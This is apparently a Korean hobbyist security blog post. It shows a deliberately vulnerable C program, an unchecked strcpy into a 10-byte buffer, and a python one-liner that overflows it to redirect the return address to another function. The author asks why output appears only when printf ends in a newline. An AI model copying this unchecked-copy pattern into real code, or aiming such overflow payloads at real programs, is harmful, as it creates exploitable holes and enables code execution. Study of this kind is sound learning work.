'이해 할수 없는 것들.'에 해당되는 글 1건

  1. 2012.11.04 eip 를 외부 함수로 바꾸었을때 \n이 있고 없고 차이.. 1
2012. 11. 4. 16:51

[gate@localhost k1rha]$ cat test.c


 #include<stdio.h>

void func(){

printf("in function");

}

int main(int argc, char *argv[]){

char buff[10];

strcpy(buff,argv[1]);

return 0;

}

 #include<stdio.h>

void func(){

printf("in fucntion\n");

}

int main (int argc, char *argv[]){


char buff[10];

strcpy(buff,argv[1]);

return 0;

}

[gate@localhost k1rha]$ ./test `python -c 'print "x"*16+"\xf8\x83\x04\x08"'`

Segmentation fault (core dumped)

[gate@localhost k1rha]$ vi test.c   


// 여기서 개행만 추가.. 즉 1번그림에서 2번그림으로 바꿈 


[gate@localhost k1rha]$ make test

cc     test.c   -o test

[gate@localhost k1rha]$ ./test `python -c 'print "x"*16+"\xf8\x83\x04\x08"'`

in function

Segmentation fault (core dumped)

[gate@localhost k1rha]$ 


개행이 있고 없고에 차이에 따라 function이 호출되고 호출되지 않고..한다..


무슨 차이일까? ... 

Posted by k1rha